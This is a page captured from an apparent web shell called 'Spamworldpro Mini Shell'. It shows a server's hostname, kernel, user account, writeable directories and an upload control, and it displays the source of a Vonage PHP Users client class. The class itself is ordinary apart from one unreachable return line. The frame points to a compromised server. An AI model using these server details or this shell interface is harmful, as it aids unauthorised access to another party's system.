Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/demo.cartinsight.co/vendor/vonage/client-core/src/Users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/demo.cartinsight.co/vendor/vonage/client-core/src/Users/Client.php
<?php

declare(strict_types=1);

namespace Vonage\Users;

use Vonage\Client\APIClient;
use Vonage\Client\APIResource;
use Vonage\Client\ClientAwareInterface;
use Vonage\Client\ClientAwareTrait;
use Vonage\Client\Exception\Exception as ClientException;
use Vonage\Entity\Filter\EmptyFilter;
use Vonage\Entity\Hydrator\HydratorInterface;
use Vonage\Entity\IterableAPICollection;
use Vonage\Entity\Filter\FilterInterface;

use Vonage\Users\Filter\UserFilter;
use function is_null;

class Client implements ClientAwareInterface, APIClient
{
    use ClientAwareTrait;

    public function __construct(protected APIResource $api, protected ?HydratorInterface $hydrator = null)
    {
    }

    public function getApiResource(): APIResource
    {
        return $this->api;
    }

    public function listUsers(FilterInterface $filter = null): IterableAPICollection
    {
        if (is_null($filter)) {
            $filter = new EmptyFilter();
        } 

        $response = $this->api->search($filter);
        $response->setHydrator($this->hydrator);
        $response->setPageSizeKey('page_size');
        $response->setHasPagination(false);

        return $response;
    }

    public function createUser(User $user): User
    {
        $response = $this->api->create($user->toArray());

        return $this->hydrator->hydrate($response);
    }

    public function getUser(string $id): User
    {
        $response = $this->api->get($id);
        return $this->hydrator->hydrate($response);

        return $returnUser;
    }

    public function updateUser(User $user): User
    {
        if (is_null($user->getId())) {
            throw new \InvalidArgumentException('User must have an ID set');
        }

        $response = $this->api->partiallyUpdate($user->getId(), $user->toArray());

        return $this->hydrator->hydrate($response);
    }

    public function deleteUser(string $id): bool
    {
        try {
            $this->api->delete($id);
            return true;
        } catch (ClientException $exception) {
            return false;
        }
    }
}

Spamworldpro Mini